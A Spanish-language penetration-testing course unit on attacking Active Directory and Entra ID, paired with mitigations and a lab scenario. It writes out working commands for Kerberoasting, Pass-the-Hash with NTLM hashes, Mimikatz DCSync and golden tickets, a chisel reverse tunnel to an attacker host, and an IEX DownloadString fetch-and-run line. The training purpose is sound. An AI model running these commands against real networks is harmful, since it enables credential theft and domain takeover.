🔐 Unidad 4: Hacking de Identidad y AD Moderno

🎯 Objetivos de Aprendizaje
- Evaluar la seguridad de entornos Active Directory.
- Explotar vulnerabilidades comunes en AD (Kerberoasting, Pass-the-Hash, Golden Ticket).
- Auditar configuraciones de Azure AD / Entra ID.
- Ejecutar técnicas de pivoting y lateral movement.
📚 Contenido Teórico
🔐 4.1 Active Directory Fundamentals
Active Directory (AD) es el servicio de directorio de Microsoft que gestiona identidades y recursos en redes empresariales. Es el objetivo principal en evaluaciones de seguridad corporativas.
🔧 Arquitectura de AD
Componentes clave:
- Domain: Zona administrativa que comparte políticas de seguridad
- Forest: Colección de dominios que comparten esquema y configuración
- Organizational Units (OU): Contenedores lógicos para organización
- Objects: Usuarios, equipos, grupos, impresoras, etc.
- Domain Controllers (DC): Servidores que autentican y almacenan AD
Árbol de AD:
Forest (contoso.com)
└── Domain (contoso.com)
└── OU: IT
└── OU: Servers
└── OU: Workstations
🔑 Protocolos de Autenticación
Kerberos: - Protocolo default en AD moderno - Tickets TGT (Ticket Granting Ticket) - Tickets de servicio (ST) - Puerto 88 (TCP/UDP)
NTLM: - Legacy, aún habilitado en muchos entornos - Challenge-Response - Vulnerable a Pass-the-Hash
LDAP: - Protocolo de acceso a directorio - Puertos 389 (LDAP) y 636 (LDAPS) - Autenticación simple y SASL
🤝 Trusts y Relaciones de Confianza
- Parent-Child: Entre dominios en mismo forest
- Forest Trust: Entre forests diferentes
- External Trust: Dominios no-Windows
- Shortcut Trust: Para optimizar autenticación
⚔️ 4.2 AD Attacks
🎯 Kerberoasting
Concepto: Solicitar tickets de servicio (TGS) para crackear offline.
Flujo de ataque: 1. Enumerar usuarios con SPN (Service Principal Name) 2. Solicitar TGS para el servicio 3. Crackear el ticket cifrado con AES/RC4
Comandos con Impacket:
# GetUserSPNs.py - Kerberoasting
python3 GetUserSPNs.py contoso.com/username:password -request
# Usando Kerberoast
GetUserSPNs.py -dc-ip 10.10.10.10 contoso.com/usernameCrackeo:
hashcat -m 13100 hash.txt wordlist.txt
john --format=krb5tgs hash.txtMitigación 🛡️: - Usar cuentas managed service (gMSA) - Contraseñas fuertes para cuentas con SPN - Monitorear eventos 4769 (TGS solicitado)
🔓 AS-REP Roasting
Concepto: Solicitar TGT sin pre-authentication para usuarios que la tienen deshabilitada.
Detección:
# Con Impacket
python3 GetNPUsers.py contoso.com/ -usersfile users.txtMitigación: - Habilitar Kerberos Pre-Authentication - Monitorear eventos 4768
🐛 Pass-the-Hash (PtH)
Concepto: Autenticarse usando el hash NTLM en lugar de la contraseña.
Con CrackMapExec:
# ejecutar comando
crackmapexec smb 10.10.10.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x whoami
# ejecutar Mimikatz
crackmapexec smb 10.10.10.10 -u admin -H hash --mimikatzCon impacket-psexec:
python3 psexec.py contoso.com/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Mitigación 🛡️: - Enable Protected Users group - Disable NTLM authentication - Use Credential Guard - Network segmentation
🎫 Golden Ticket
Concepto: Crear un TGT falso usando el hash del krbtgt account.
Creación con Mimikatz:
# En un DC comprometido
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.com /user:krbtgt"
# Crear golden ticket
mimikatz.exe "kerberos::golden /domain:contoso.com /sid:S-1-5-21-xxx /krbtgt:hash /id:500"Mitigación: - Reset krbtgt password 2 veces - Monitorizar eventos de creación de tickets - Disable ticket delegation
🔄 DCSync
Concepto: Simular ser un DC para sincronizar datos de directorio.
Con Mimikatz:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:contoso.com /user:administrator"Mitigación: - Restringir replication rights - Monitorizar eventos 4662 - Usar Protected Groups
☁️ 4.3 Azure AD / Entra ID
Azure AD (ahora Entra ID) es el servicio de identidad cloud de Microsoft.
⚠️ Vulnerabilidades Comunes
Token Theft: - Tokens en URL - Tokens en localStorage (XSS) - Token de refresh robado
OAuth/OAuth2 Misconfigurations: - Redirect URI bypass - Consent phishing - Token leakage
Conditional Access Bypass: - IP bypass - Device compliance bypass - MFA fatigue
🔧 Herramientas
AADInternals:
# Instalar
Install-Module AADInternals
#Enumeración
Get-AADIntLoginInformationROADtools:
# Token manipulation
roadrecon auth --device-code
roadrecon dumpMitigación 🛡️: - Enable Conditional Access - Require MFA - Monitor sign-in logs - Configure token lifetime
🔀 4.4 Pivoting
Una vez comprometido un sistema, el pivoting permite acceder a redes internas.
↔︎️ Lateral Movement
SMB/Windows:
# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u user -p password -x "whoami"
# smbexec
python3 smbexec.py domain/user:pass@targetWMI:
# impacket-wmiexec
python3 wmiexec.py domain/user:pass@targetWinRM:
# evil-winrm
evil-winrm -i target -u user -p password🔗 Proxy Chaining
Chisel:
# Server (atacante)
chisel server -p 8080
# Client (victima)
chisel client 10.10.10.5:8080 R:socksProxychains:
# Configurar /etc/proxychains4.conf
proxychains nmap -sT -p- 10.10.10.20🔀 Port Forwarding
SSH:
# Local forward
ssh -L 8080:localhost:80 user@target
# Remote forward
ssh -R 8080:localhost:80 user@targetPlink:
plink.exe -L 8080:localhost:80 user@target🛠️ Herramientas
| Herramienta | Propósito | Instalación |
|---|---|---|
| BloodHound CE | Grafico de relaciones AD | bloodhound.io |
| Impacket | Colección de scripts Python | pip install impacket |
| CrackMapExec | Automatización de attacks | pip install crackmapexec |
| Mimikatz | Credential dumping | github.com/gentilkiwi |
| Rubeus | Kerberos attacks | github.com/GhostPack/Rubeus |
| PowerView | Enumeración AD | IEX (New-Object Net.WebClient).DownloadString() |
| AADInternals | Azure AD analysis | Install-Module AADInternals |
| ROADtools | Azure AD exploitation | pip install roadrecon |
🔬 Laboratorio
Ver
labs/lab-unidad4.mdpara el escenario completo.
Escenario: Comprometer un dominio Windows en entorno de laboratorio con servicios de Active Directory expuestos: 1. Enumeración inicial 2. Kerberoasting 3. Pass-the-Hash 4. Escalamiento a Domain Admin
Entregable: Documentar kill chain completo con screenshots.
📚 Recursos Adicionales
- Microsoft — Best Practices for Securing Active Directory — documentación oficial de Microsoft sobre hardening de AD
- BloodHound Documentation — guía oficial de la herramienta de análisis de rutas de ataque en AD
- Impacket GitHub — colección de scripts Python para ataques a protocolos Windows (Kerberoasting, PtH, DCSync)
- MITRE ATT&CK — Credential Access (TA0006) — catálogo de técnicas documentadas de robo de credenciales
- Active Directory Lab Environment — entorno de laboratorio para practicar técnicas de Active Directory
- Specterops — An ACE Up the Sleeve — whitepaper sobre ACL abuse en Active Directory